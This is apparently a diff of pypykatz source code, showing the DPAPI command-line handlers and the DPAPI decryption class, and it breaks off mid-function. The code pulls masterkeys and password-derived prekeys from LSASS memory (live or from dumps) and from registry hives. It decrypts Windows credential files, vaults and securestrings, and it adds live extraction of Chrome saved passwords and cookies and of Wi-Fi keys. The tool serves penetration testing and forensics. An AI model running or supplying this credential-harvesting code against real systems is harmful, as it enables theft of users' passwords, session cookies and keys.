83 | dpapi_minidump_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') | |
84 | ||
85 | ||
86 | dpapi_masterkey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file') | |
87 | dpapi_masterkey_group.add_argument('masterkeyfile', help='path to masterkey file') | |
88 | dpapi_masterkey_group.add_argument('prekey', help= 'Path to prekey file, which has multiple decryption key candidates') | |
89 | dpapi_masterkey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') | |
90 | ||
91 | ||
92 | dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file') | |
93 | dpapi_credential_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') | |
94 | dpapi_credential_group.add_argument('cred', help='path to credential file') | |
95 | ||
96 | dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file') | |
97 | dpapi_vcred_group.add_argument('vcred', help='path to vcred file') | |
98 | dpapi_vcred_group.add_argument('--vpolkey', nargs='+', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys') | |
99 | ||
100 | dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file') | |
101 | dpapi_vpol_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') | |
102 | dpapi_vpol_group.add_argument('vpol', help='path to vpol file') | |
103 | ||
104 | ||
105 | dpapi_securestring_group = dpapi_subparsers.add_parser('securestring', help='Decrypt securestring') | |
106 | dpapi_securestring_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') | |
107 | dpapi_securestring_group.add_argument('securestring', help='path to securestring file (hex data expected!), or the securestring in hex form') | |
108 | ||
109 | dpapi_blob_group = dpapi_subparsers.add_parser('blob', help='Decrypt blob') | |
110 | dpapi_blob_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') | |
111 | dpapi_blob_group.add_argument('blob', help='path to blob file (hex data expected!), or the blob in hex form') | |
112 | ||
113 | def execute(self, args): | |
114 | if len(self.keywords) > 0 and args.command in self.keywords: | |
115 | self.run(args) | |
116 | ||
117 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: | |
118 | self.run_live(args) | |
119 | ||
120 | def run(self, args): | |
121 | from pypykatz.dpapi.dpapi import DPAPI | |
122 | ||
123 | dpapi = DPAPI() | |
124 | ||
125 | if args.dapi_module == 'prekey': | |
126 | if args.prekey_command == 'registry': | |
127 | if args.system is None: | |
128 | raise Exception('SYSTEM hive must be specified for registry parsing!') | |
129 | if args.sam is None and args.security is None: | |
130 | raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.') | |
131 | ||
132 | dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) | |
133 | ||
134 | elif args.prekey_command == 'password': | |
135 | if args.sid is None: | |
136 | raise Exception('SID must be specified for generating prekey in this mode') | |
137 | ||
138 | pw = args.password | |
139 | if args.password is None: | |
140 | import getpass | |
141 | pw = getpass.getpass() | |
142 | ||
143 | dpapi.get_prekeys_from_password(args.sid, password = pw) | |
144 | ||
145 | elif args.prekey_command == 'nt': | |
146 | if args.nt is None or args.sid is None: | |
147 | raise Exception('NT hash and SID must be specified for generating prekey in this mode') | |
148 | ||
149 | dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt) | |
150 | ||
151 | ||
152 | dpapi.dump_pre_keys(args.out_file) | |
153 | ||
154 | ||
155 | elif args.dapi_module == 'minidump': | |
156 | if args.minidumpfile is None: | |
157 | raise Exception('minidump file must be specified for mindiump parsing!') | |
158 | ||
159 | dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) | |
160 | dpapi.dump_masterkeys(args.out_file) | |
161 | dpapi.dump_pre_keys(args.out_file + '_prekeys') | |
162 | ||
163 | ||
164 | elif args.dapi_module == 'masterkey': | |
165 | if args.key is None and args.prekey is None: | |
166 | raise Exception('Etieher KEY or path to prekey file must be supplied!') | |
167 | ||
168 | if args.prekey: | |
169 | dpapi.load_prekeys(args.prekey) | |
170 | dpapi.decrypt_masterkey_file(args.mkf) | |
171 | ||
172 | if args.key: | |
173 | dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key)) | |
174 | ||
175 | if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: | |
176 | print('Failed to decrypt the masterkeyfile!') | |
177 | return | |
178 | ||
179 | dpapi.dump_masterkeys(args.out_file) | |
180 | ||
181 | elif args.dapi_module == 'credential': | |
182 | dpapi.load_masterkeys(args.mkf) | |
183 | cred_blob = dpapi.decrypt_credential_file(args.cred) | |
184 | ||
185 | print(cred_blob.to_text()) | |
186 | ||
187 | elif args.dapi_module == 'vpol': | |
188 | dpapi.load_masterkeys(args.mkf) | |
189 | key1, key2 = dpapi.decrypt_vpol_file(args.vpol) | |
190 | ||
191 | print('VPOL key1: %s' % key1.hex()) | |
192 | print('VPOL key2: %s' % key2.hex()) | |
193 | ||
194 | ||
195 | elif args.dapi_module == 'vcred': | |
196 | if args.vpolkey is None or len(args.vpolkey) == 0: | |
197 | raise Exception('VPOL key bust be specified!') | |
198 | ||
199 | dpapi.vault_keys = [bytes.fromhex(x) for x in args.vpolkey] | |
200 | res = dpapi.decrypt_vcrd_file(args.vcred) | |
201 | for attr in res: | |
202 | for i in range(len(res[attr])): | |
203 | if res[attr][i] is not None: | |
204 | print('AttributeID: %s Key %s' % (attr.id, i)) | |
205 | print(hexdump(res[attr][i])) | |
206 | ||
207 | elif args.dapi_module == 'securestring': | |
208 | dpapi.load_masterkeys(args.mkf) | |
209 | ||
210 | try: | |
211 | bytes.fromhex(args.securestring) | |
212 | except Exception as e: | |
213 | print('Error! %s' %e) | |
214 | dec_sec = dpapi.decrypt_securestring_file(args.securestring) | |
215 | else: | |
216 | dec_sec = dpapi.decrypt_securestring_hex(args.securestring) | |
217 | ||
218 | print('HEX: %s' % dec_sec.hex()) | |
219 | print('STR: %s' % dec_sec.decode('utf-16-le')) | |
220 | ||
221 | elif args.dapi_module == 'blob': | |
222 | dpapi.load_masterkeys(args.mkf) | |
223 | ||
224 | try: | |
225 | bytes.fromhex(args.securestring) | |
226 | except Exception as e: | |
227 | print('Error! %s' %e) | |
228 | dec_sec = dpapi.decrypt_securestring_file(args.securestring) | |
229 | else: | |
230 | dec_sec = dpapi.decrypt_securestring_hex(args.securestring) | |
231 | ||
232 | print('HEX: %s' % dec_sec.hex()) | |
233 | print('STR: %s' % dec_sec.decode('utf-16-le')) | |
234 | ||
235 | ||
236 | ||
237 | def run_live(self, args): | |
238 | if platform.system().lower() != 'windows': | |
239 | raise Exception('Live commands only work on Windows!') | |
240 | ||
241 | from pypykatz.dpapi.dpapi import DPAPI | |
242 | dpapi = DPAPI(use_winapi=True) | |
243 | ||
244 | if args.livedpapicommand == 'keys': | |
245 | from pypykatz.dpapi.dpapi import prepare_dpapi_live | |
246 | ||
247 | dpapi = prepare_dpapi_live(args.method) | |
248 | ||
249 | if args.outfile is not None: | |
250 | dpapi.dump_pre_keys(args.outfile + '_prekeys') | |
251 | dpapi.dump_masterkeys(args.outfile + '_masterkeys') | |
252 | else: | |
253 | dpapi.dump_pre_keys() | |
254 | dpapi.dump_masterkeys() | |
255 | ||
256 | return | |
257 | ||
258 | elif args.livedpapicommand == 'cred': | |
259 | cred_blob = dpapi.decrypt_credential_file(args.credfile) | |
260 | print(cred_blob.to_text()) | |
261 | ||
262 | elif args.livedpapicommand == 'vpol': | |
263 | key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile) | |
264 | print('VPOL key1: %s' % key1.hex()) | |
265 | print('VPOL key2: %s' % key2.hex()) | |
266 | ||
267 | elif args.livedpapicommand == 'vcred': | |
268 | key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile) | |
269 | res = dpapi.decrypt_vcrd_file(args.vcredfile) | |
270 | for attr in res: | |
271 | for i in range(len(res[attr])): | |
272 | if res[attr][i] is not None: | |
273 | print('AttributeID: %s Key %s' % (attr.id, i)) | |
274 | print(hexdump(res[attr][i])) | |
275 | ||
276 | ||
277 | elif args.livedpapicommand == 'securestring': | |
278 | dec_sec = dpapi.decrypt_securestring_hex(args.securestring) | |
279 | print('HEX: %s' % dec_sec.hex()) | |
280 | print('STR: %s' % dec_sec.decode('utf-16-le')) | |
281 | ||
282 | elif args.livedpapicommand == 'securestringfile': | |
283 | data = args.data[0] | |
284 | dec_sec = dpapi.decrypt_securestring_file(data) | |
285 | print('HEX: %s' % dec_sec.hex()) | |
286 | print('STR: %s' % dec_sec.decode('utf-16-le')) | |
287 | ||
288 | elif args.livedpapicommand == 'blob': | |
289 | dec_sec = dpapi.decrypt_securestring_hex(args.blob) | |
290 | print('HEX: %s' % dec_sec.hex()) | |
291 | ||
292 | elif args.livedpapicommand == 'blobfile': | |
293 | dec_sec = dpapi.decrypt_securestring_file(args.blobfile) | |
294 | print('HEX: %s' % dec_sec.hex()) | |
295 | ||
296 | elif args.livedpapicommand == 'chrome': | |
297 | res = dpapi.decrypt_all_chrome_live() | |
298 | for file_path, url, user, password in res['logins']: | |
299 | print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url)) | |
300 | for file_path, host_key, name, path, value in res['cookies']: | |
301 | print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, host_key, name, path, value)) | |
302 | ||
303 | elif args.livedpapicommand == 'wifi': | |
304 | for wificonfig in dpapi.decrypt_wifi_live(): | |
305 | print('%s : %s' % (wificonfig['name'], wificonfig['key']))⏎ |
4 | 4 | # |
5 | 5 | |
6 | 6 | import os |
7 | import ntpath | |
7 | 8 | import json |
8 | 9 | import hmac |
9 | 10 | import hashlib |
11 | import glob | |
12 | import sqlite3 | |
13 | import base64 | |
14 | import platform | |
10 | 15 | from hashlib import sha1, pbkdf2_hmac |
16 | import xml.etree.ElementTree as ET | |
11 | 17 | |
12 | 18 | from pypykatz import logger |
13 | 19 | from pypykatz.dpapi.structures.masterkeyfile import MasterKeyFile |
16 | 22 | from pypykatz.dpapi.structures.vault import VAULT_VCRD, VAULT_VPOL, VAULT_VPOL_KEYS |
17 | 23 | |
18 | 24 | from pypykatz.crypto.unified.aes import AES |
25 | from pypykatz.crypto.unified.aesgcm import AES_GCM | |
19 | 26 | from pypykatz.crypto.unified.common import SYMMETRIC_MODE |
20 | 27 | from pypykatz.commons.common import UniversalEncoder |
28 | ||
29 | if platform.system().lower() == 'windows': | |
30 | from pypykatz.commons.winapi.processmanipulator import ProcessManipulator | |
21 | 31 | |
22 | 32 | """ |
23 | 33 | So! DPAPI... |
79 | 89 | """ |
80 | 90 | |
81 | 91 | class DPAPI: |
82 | def __init__(self): | |
83 | #pre-keys | |
84 | self.user_keys = [] | |
85 | self.machine_keys = [] | |
92 | def __init__(self, use_winapi = False): | |
93 | self.use_winapi = use_winapi | |
94 | self.prekeys = {} #keys in bytes format stored in a dict for avoiding dupes | |
86 | 95 | |
87 | 96 | #masterkey, backupkey |
88 | 97 | self.masterkeys = {} #guid -> binary value |
91 | 100 | #since so far I dunno how to match vault-keys to vaults, its a list :( |
92 | 101 | self.vault_keys = [] |
93 | 102 | |
94 | @staticmethod | |
95 | def list_masterkeys(): | |
96 | #logger.debug('Searching for MasterKey files...') | |
97 | #appdata = os.environ.get('APPDATA') | |
98 | #'%APPDATA%\Microsoft\Protect\%SID%' | |
99 | #'%SYSTEMDIR%\Microsoft\Protect' | |
100 | # TODO: implement this | |
101 | pass | |
102 | 103 | |
103 | 104 | def dump_pre_keys(self, filename = None): |
104 | 105 | if filename is None: |
105 | for x in self.user_keys: | |
106 | print(x.hex()) | |
107 | for x in self.machine_keys: | |
106 | for x in self.prekeys: | |
108 | 107 | print(x.hex()) |
109 | 108 | else: |
110 | 109 | with open(filename, 'w', newline = '') as f: |
111 | for x in self.user_keys: | |
110 | for x in self.prekeys: | |
112 | 111 | f.write(x.hex() + '\r\n') |
113 | for x in self.machine_keys: | |
114 | f.write(x.hex() + '\r\n') | |
115 | ||
116 | def load_pre_keys(self, filename): | |
112 | ||
113 | def load_prekeys(self, filename): | |
117 | 114 | with open(filename, 'r') as f: |
118 | 115 | for line in f: |
119 | 116 | line = line.strip() |
120 | self.user_keys.append(bytes.fromhex(line)) | |
117 | self.prekeys[bytes.fromhex(line)] = 1 | |
121 | 118 | |
122 | 119 | def dump_masterkeys(self, filename = None): |
123 | 120 | if filename is None: |
140 | 137 | for guid in data['masterkeys']: |
141 | 138 | self.masterkeys[guid] = bytes.fromhex(data['masterkeys'][guid]) |
142 | 139 | |
143 | print(self.masterkeys) | |
144 | 140 | |
145 | 141 | def get_prekeys_from_password(self, sid, password = None, nt_hash = None): |
146 | 142 | """ |
160 | 156 | nt_hash = bytes.fromhex(nt_hash) |
161 | 157 | key1 = None |
162 | 158 | |
163 | if password: | |
159 | if password or password == '': | |
164 | 160 | md4 = hashlib.new('md4') |
165 | 161 | md4.update(password.encode('utf-16le')) |
166 | 162 | nt_hash = md4.digest() |
174 | 170 | key3 = hmac.new(tmp_key_2, (sid + '\0').encode('utf-16le'), sha1).digest()[:20] |
175 | 171 | |
176 | 172 | if key1 is not None: |
177 | self.user_keys.append(key1) | |
178 | self.user_keys.append(key2) | |
179 | self.user_keys.append(key3) | |
180 | ||
181 | #print(key1.hex(), key2.hex(), key3.hex()) | |
173 | self.prekeys[key1] = 1 | |
174 | self.prekeys[key2] = 1 | |
175 | self.prekeys[key3] = 1 | |
176 | ||
177 | if key1 is not None: | |
178 | logger.debug('Prekey_1 %s %s %s %s' % (sid, password, nt_hash, key1.hex())) | |
179 | logger.debug('Prekey_2 %s %s %s %s' % (sid, password, nt_hash, key2.hex())) | |
180 | logger.debug('Prekey_3 %s %s %s %s' % (sid, password, nt_hash, key3.hex())) | |
181 | ||
182 | 182 | return key1, key2, key3 |
183 | 183 | |
184 | 184 | def __get_registry_secrets(self, lr): |
197 | 197 | if isinstance(secret, LSASecretDPAPI): |
198 | 198 | logger.debug('[DPAPI] Found DPAPI user key in registry! Key: %s' % secret.user_key) |
199 | 199 | logger.debug('[DPAPI] Found DPAPI machine key in registry! Key: %s' % secret.machine_key) |
200 | self.user_keys.append(secret.user_key) | |
200 | self.prekeys[secret.user_key] = 1 | |
201 | 201 | user.append(secret.user_key) |
202 | self.machine_keys.append(secret.machine_key) | |
202 | self.prekeys[secret.machine_key] = 1 | |
203 | 203 | machine.append(secret.machine_key) |
204 | 204 | |
205 | 205 | if lr.sam is not None: |
255 | 255 | else: |
256 | 256 | raise Exception('[DPAPI] Registry parsing failed!') |
257 | 257 | |
258 | def get_all_keys_from_lsass_live(self): | |
259 | """ | |
260 | Parses the live LSASS process and extracts the plaintext masterkeys, and also generates prekeys from all available credentials | |
261 | It does not retun anything, just sets up all key material in the object | |
262 | return: None | |
263 | """ | |
264 | from pypykatz.pypykatz import pypykatz | |
265 | katz = pypykatz.go_live() | |
266 | sids = [katz.logon_sessions[x].sid for x in katz.logon_sessions] | |
267 | for x in katz.logon_sessions: | |
268 | for dc in katz.logon_sessions[x].dpapi_creds: | |
269 | logger.debug('[DPAPI] Got masterkey for GUID %s via live LSASS method' % dc.key_guid) | |
270 | self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) | |
271 | ||
272 | for package,_,_, nthex, lmhex, shahex, _,_,_, plaintext in katz.logon_sessions[x].to_grep_rows(): | |
273 | if package.lower() == 'dpapi': | |
274 | continue | |
275 | ||
276 | sids = [katz.logon_sessions[x].sid] | |
277 | for sid in sids: | |
278 | if plaintext is not None: | |
279 | self.get_prekeys_from_password(sid, password = plaintext, nt_hash = None) | |
280 | if nthex is not None and len(nthex) == 32: | |
281 | self.get_prekeys_from_password(sid, password = None, nt_hash = nthex) | |
282 | ||
283 | if shahex is not None and len(shahex) == 40: | |
284 | self.prekeys[bytes.fromhex(shahex)] = 1 | |
285 | ||
258 | 286 | def get_masterkeys_from_lsass_live(self): |
259 | 287 | """ |
260 | 288 | Parses the live LSASS process and extracts the plaintext masterkeys |
283 | 311 | for dc in katz.logon_sessions[x].dpapi_creds: |
284 | 312 | logger.debug('[DPAPI] Got masterkey for GUID %s via minidump LSASS method' % dc.key_guid) |
285 | 313 | self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) |
314 | ||
315 | for package,_,_, nthex, lmhex, shahex, _,_,_, plaintext in katz.logon_sessions[x].to_grep_rows(): | |
316 | if package.lower() == 'dpapi': | |
317 | continue | |
318 | ||
319 | sids = [katz.logon_sessions[x].sid] | |
320 | for sid in sids: | |
321 | if plaintext is not None: | |
322 | self.get_prekeys_from_password(sid, password = plaintext, nt_hash = None) | |
323 | if nthex is not None and len(nthex) == 32: | |
324 | self.get_prekeys_from_password(sid, password = None, nt_hash = nthex) | |
325 | ||
326 | if shahex is not None and len(shahex) == 40: | |
327 | self.prekeys[bytes.fromhex(shahex)] = 1 | |
286 | 328 | |
287 | 329 | return self.masterkeys |
288 | 330 | |
308 | 350 | mks = {} |
309 | 351 | bks = {} |
310 | 352 | if mkf.masterkey is not None: |
311 | for user_key in self.user_keys: | |
312 | dec_key = mkf.masterkey.decrypt(user_key) | |
313 | if dec_key: | |
314 | self.masterkeys[mkf.guid] = dec_key | |
315 | mks[mkf.guid] = dec_key | |
316 | ||
317 | for machine_key in self.machine_keys: | |
318 | dec_key = mkf.masterkey.decrypt(machine_key) | |
319 | if dec_key: | |
320 | self.masterkeys[mkf.guid] = dec_key | |
321 | mks[mkf.guid] = dec_key | |
322 | ||
323 | if key is not None: | |
324 | dec_key = mkf.masterkey.decrypt(key) | |
325 | if dec_key: | |
326 | self.masterkeys[mkf.guid] = dec_key | |
327 | mks[mkf.guid] = dec_key | |
353 | if mkf.guid in self.masterkeys: | |
354 | mks[mkf.guid] = self.masterkeys[mkf.guid] | |
355 | ||
356 | else: | |
357 | for user_key in self.prekeys: | |
358 | dec_key = mkf.masterkey.decrypt(user_key) | |
359 | if dec_key: | |
360 | logger.debug('user key win: %s' % user_key.hex()) | |
361 | self.masterkeys[mkf.guid] = dec_key | |
362 | mks[mkf.guid] = dec_key | |
363 | break | |
364 | ||
365 | if key is not None: | |
366 | dec_key = mkf.masterkey.decrypt(key) | |
367 | if dec_key: | |
368 | self.masterkeys[mkf.guid] = dec_key | |
369 | mks[mkf.guid] = dec_key | |
328 | 370 | |
329 | 371 | if mkf.backupkey is not None: |
330 | for user_key in self.user_keys: | |
331 | dec_key = mkf.backupkey.decrypt(user_key) | |
332 | if dec_key: | |
333 | self.backupkeys[mkf.guid] = dec_key | |
334 | bks[mkf.guid] = dec_key | |
335 | ||
336 | for machine_key in self.machine_keys: | |
337 | dec_key = mkf.backupkey.decrypt(machine_key) | |
338 | if dec_key: | |
339 | self.backupkeys[mkf.guid] = dec_key | |
340 | bks[mkf.guid] = dec_key | |
341 | ||
342 | if key is not None: | |
343 | dec_key = mkf.backupkey.decrypt(key) | |
344 | if dec_key: | |
345 | self.masterkeys[mkf.guid] = dec_key | |
346 | bks[mkf.guid] = dec_key | |
372 | if mkf.guid in self.masterkeys: | |
373 | mks[mkf.guid] = self.masterkeys[mkf.guid] | |
374 | ||
375 | else: | |
376 | for user_key in self.prekeys: | |
377 | dec_key = mkf.backupkey.decrypt(user_key) | |
378 | if dec_key: | |
379 | self.backupkeys[mkf.guid] = dec_key | |
380 | bks[mkf.guid] = dec_key | |
381 | break | |
382 | ||
383 | if key is not None: | |
384 | dec_key = mkf.backupkey.decrypt(key) | |
385 | if dec_key: | |
386 | self.masterkeys[mkf.guid] = dec_key | |
387 | bks[mkf.guid] = dec_key | |
347 | 388 | |
348 | 389 | return mks, bks |
349 | 390 | |
350 | def decrypt_credential_file(self, file_path, key = None): | |
391 | def decrypt_credential_file(self, file_path): | |
351 | 392 | """ |
352 | 393 | Decrypts CredentialFile |
353 | 394 | file_path: path to CredentialFile |
354 | key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object. | |
355 | 395 | returns: CREDENTIAL_BLOB object |
356 | 396 | """ |
357 | if key is not None: | |
358 | if isinstance(key, str): | |
359 | key = bytes.fromhex(key) | |
360 | 397 | with open(file_path, 'rb') as f: |
361 | return self.decrypt_credential_bytes(f.read(), key = key) | |
362 | ||
363 | def decrypt_credential_bytes(self, data, key = None): | |
398 | return self.decrypt_credential_bytes(f.read()) | |
399 | ||
400 | def decrypt_credential_bytes(self, data): | |
364 | 401 | """ |
365 | 402 | Decrypts CredentialFile bytes |
366 | 403 | CredentialFile holds one DPAPI blob, so the decryption is straightforward, and it also has a known structure for the cleartext. |
367 | 404 | Pay attention that the resulting CREDENTIAL_BLOB strucutre's fields can hold the secrets in wierd filenames like "unknown" |
368 | 405 | |
369 | 406 | data: CredentialFile bytes |
370 | key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object. | |
371 | 407 | returns: CREDENTIAL_BLOB object |
372 | 408 | """ |
373 | 409 | cred = CredentialFile.from_bytes(data) |
374 | dec_data = self.decrypt_blob(cred.blob, key = key) | |
410 | dec_data = self.decrypt_blob_bytes(cred.data) | |
375 | 411 | cb = CREDENTIAL_BLOB.from_bytes(dec_data) |
376 | 412 | return cb |
377 | 413 | |
398 | 434 | data: DPAPI_BLOB bytes |
399 | 435 | returns: bytes of the cleartext data |
400 | 436 | """ |
437 | if self.use_winapi is True: | |
438 | from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData | |
439 | return CryptUnprotectData(data) | |
440 | ||
401 | 441 | blob = DPAPI_BLOB.from_bytes(data) |
442 | logger.debug(str(blob)) | |
402 | 443 | return self.decrypt_blob(blob, key = key) |
403 | 444 | |
404 | def decrypt_vcrd_file(self, file_path, key = None): | |
445 | def decrypt_vcrd_file(self, file_path): | |
405 | 446 | """ |
406 | 447 | Decrypts a VCRD file |
407 | 448 | Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vcrd |
409 | 450 | file_path: path to the vcrd file |
410 | 451 | returns: dictionary of attrbitues as key, and a list of possible decrypted data |
411 | 452 | """ |
412 | ||
413 | if key is not None: | |
414 | if isinstance(key, str): | |
415 | key = bytes.fromhex(key) | |
416 | ||
417 | 453 | with open(file_path, 'rb') as f: |
418 | return self.decrypt_vcrd_bytes(f.read(), key = key) | |
419 | ||
420 | def decrypt_vcrd_bytes(self, data, key = None): | |
454 | return self.decrypt_vcrd_bytes(f.read()) | |
455 | ||
456 | def decrypt_vcrd_bytes(self, data): | |
421 | 457 | """ |
422 | 458 | Decrypts VCRD file bytes. |
423 | 459 | |
425 | 461 | returns: dictionary of attrbitues as key, and a list of possible decrypted data |
426 | 462 | """ |
427 | 463 | vv = VAULT_VCRD.from_bytes(data) |
428 | return self.decrypt_vcrd(vv, key = key) | |
429 | ||
430 | def decrypt_vcrd(self, vcrd, key = None): | |
464 | return self.decrypt_vcrd(vv) | |
465 | ||
466 | def decrypt_vcrd(self, vcrd): | |
431 | 467 | """ |
432 | 468 | Decrypts the attributes found in a VCRD object, and returns the cleartext data candidates |
433 | 469 | A VCRD file can have a lot of stored credentials inside, most of them with custom data strucutre |
449 | 485 | return cleartext |
450 | 486 | |
451 | 487 | res = {} |
452 | if key is None: | |
453 | for i, key in enumerate(self.vault_keys): | |
454 | for attr in vcrd.attributes: | |
455 | cleartext = decrypt_attr(attr, key) | |
456 | if attr not in res: | |
457 | res[attr] = [] | |
458 | res[attr].append(cleartext) | |
459 | else: | |
488 | for i, key in enumerate(self.vault_keys): | |
460 | 489 | for attr in vcrd.attributes: |
461 | decrypt_attr(attr, key) | |
490 | cleartext = decrypt_attr(attr, key) | |
462 | 491 | if attr not in res: |
463 | 492 | res[attr] = [] |
464 | 493 | res[attr].append(cleartext) |
465 | ||
466 | 494 | return res |
467 | 495 | |
468 | def decrypt_vpol_bytes(self, data, key = None): | |
496 | def decrypt_vpol_bytes(self, data): | |
469 | 497 | """ |
470 | 498 | Decrypts the VPOL file, and returns the two keys' bytes |
471 | 499 | A VPOL file stores two encryption keys. |
474 | 502 | returns touple of bytes, describing two keys |
475 | 503 | """ |
476 | 504 | vpol = VAULT_VPOL.from_bytes(data) |
477 | res = self.decrypt_blob(vpol.blob, key = key) | |
505 | res = self.decrypt_blob_bytes(vpol.blobdata) | |
478 | 506 | |
479 | 507 | keys = VAULT_VPOL_KEYS.from_bytes(res) |
480 | 508 | |
483 | 511 | |
484 | 512 | return keys.key1.get_key(), keys.key2.get_key() |
485 | 513 | |
486 | def decrypt_vpol_file(self, file_path, key = None): | |
514 | def decrypt_vpol_file(self, file_path): | |
487 | 515 | """ |
488 | 516 | Decrypts a VPOL file |
489 | 517 | Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vpol |
492 | 520 | keys: Optional. |
493 | 521 | returns: touple of bytes, describing two keys |
494 | 522 | """ |
495 | if key is not None: | |
496 | if isinstance(key, str): | |
497 | key = bytes.fromhex(key) | |
498 | 523 | with open(file_path, 'rb') as f: |
499 | return self.decrypt_vpol_bytes(f.read(), key = key) | |
500 | ||
524 | return self.decrypt_vpol_bytes(f.read()) | |
525 | ||
526 | def decrypt_securestring_bytes(self, data): | |
527 | return self.decrypt_blob_bytes(data) | |
528 | ||
529 | def decrypt_securestring_hex(self, hex_str): | |
530 | return self.decrypt_securestring_bytes(bytes.fromhex(hex_str)) | |
531 | ||
532 | def decrypt_securestring_file(self, file_path): | |
533 | with open(file_path, 'r') as f: | |
534 | data = f.read() | |
535 | return self.decrypt_securestring_hex(data) | |
536 | ||
537 | ||
538 | @staticmethod | |
539 | def find_masterkey_files_live(): | |
540 | windows_loc = DPAPI.get_windows_dir_live() | |
541 | user_folder = DPAPI.get_users_dir_live() | |
542 | ||
543 | return DPAPI.find_masterkey_files_offline(user_folder, windows_loc) | |
544 | ||
545 | @staticmethod | |
546 | def find_masterkey_files_offline(users_path, windows_path): | |
547 | def is_guid(fname): | |
548 | if os.path.isfile(filename) is True: | |
549 | base = ntpath.basename(filename) | |
550 | if base.find('-') == -1: | |
551 | return False | |
552 | try: | |
553 | bytes.fromhex(base.replace('-','')) | |
554 | except: | |
555 | return False | |
556 | return True | |
557 | return False | |
558 | ||
559 | masterkey_files = {} | |
560 | for filename in glob.glob(os.path.join(windows_path, "System32","Microsoft","Protect", "**"), recursive = True): | |
561 | if is_guid(filename) is True: | |
562 | logger.debug('GUID SYSTEM FILE: %s' % filename) | |
563 | masterkey_files[ntpath.basename(filename)] = filename | |
564 | ||
565 | user_folders = {} | |
566 | for filename in glob.glob(os.path.join(users_path, '*'), recursive=False): | |
567 | if os.path.isdir(filename): | |
568 | user_folders[filename] = 1 | |
569 | ||
570 | for subfolder in ['Local', 'Roaming', 'LocalLow']: | |
571 | for user_folder in user_folders: | |
572 | for filename in glob.glob(os.path.join(user_folder, "AppData", subfolder, "Microsoft", "Protect", '**'), recursive = True): | |
573 | if is_guid(filename) is True: | |
574 | masterkey_files[ntpath.basename(filename)] = filename | |
575 | logger.debug('GUID USER FILE: %s' % filename) | |
576 | ||
577 | return masterkey_files | |
578 | ||
579 | @staticmethod | |
580 | def get_users_dir_live(): | |
581 | username = os.environ.get('USERNAME') | |
582 | userprofile_loc = os.environ.get('USERPROFILE') | |
583 | username = os.environ.get('USERNAME') | |
584 | return userprofile_loc[:-len(username)] | |
585 | ||
586 | @staticmethod | |
587 | def get_windows_dir_live(): | |
588 | return os.environ.get('SystemRoot') | |
589 | ||
590 | @staticmethod | |
591 | def get_windows_drive_live(): | |
592 | return os.environ.get('SystemDrive')[0] | |
593 | ||
594 | @staticmethod | |
595 | def find_chrome_database_file_live(): | |
596 | return DPAPI.find_chrome_database_file_offline(DPAPI.get_users_dir_live()) | |
597 | ||
598 | @staticmethod | |
599 | def find_chrome_database_file_offline(users_path): | |
600 | db_paths = {} # username -> files | |
601 | user_folders = {} # username -> folder | |
602 | ||
603 | for filename in glob.glob(os.path.join(users_path, '*'), recursive=False): | |
604 | if os.path.isdir(filename): | |
605 | username = ntpath.basename(filename) | |
606 | if username not in user_folders: | |
607 | user_folders[username] = [] | |
608 | user_folders[username].append(filename) | |
609 | ||
610 | for subfolder_1 in ['Local', 'Roaming', 'LocalLow']: | |
611 | for subfolder_2 in ['', 'Google']: | |
612 | for username in user_folders: | |
613 | if username not in db_paths: | |
614 | db_paths[username] = {} | |
615 | for user_folder in user_folders[username]: | |
616 | db_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data','Default','Login Data' ) | |
617 | if os.path.isfile(db_path) is True: | |
618 | db_paths[username]['logindata'] = db_path | |
619 | logger.debug('CHROME LOGINS DB FILE: %s' % db_path) | |
620 | ||
621 | db_cookies_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data','Default','Cookies' ) | |
622 | if os.path.isfile(db_cookies_path) is True: | |
623 | db_paths[username]['cookies'] = db_cookies_path | |
624 | logger.debug('CHROME COOKIES DB FILE: %s' % db_cookies_path) | |
625 | ||
626 | localstate_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data', 'Local State' ) | |
627 | if os.path.isfile(localstate_path) is True: | |
628 | db_paths[username]['localstate'] = localstate_path | |
629 | logger.debug('CHROME localstate FILE: %s' % localstate_path) | |
630 | ||
631 | return db_paths | |
632 | ||
633 | @staticmethod | |
634 | def get_chrome_encrypted_secret(db_path): | |
635 | results = {} | |
636 | results['logins'] = [] | |
637 | results['cookies'] = [] | |
638 | results['localstate'] = [] | |
639 | ||
640 | try: | |
641 | conn = sqlite3.connect(db_path) | |
642 | cursor = conn.cursor() | |
643 | except Exception as e: | |
644 | logger.debug('Failed to open chrome DB file %s' % db_path) | |
645 | return results | |
646 | ||
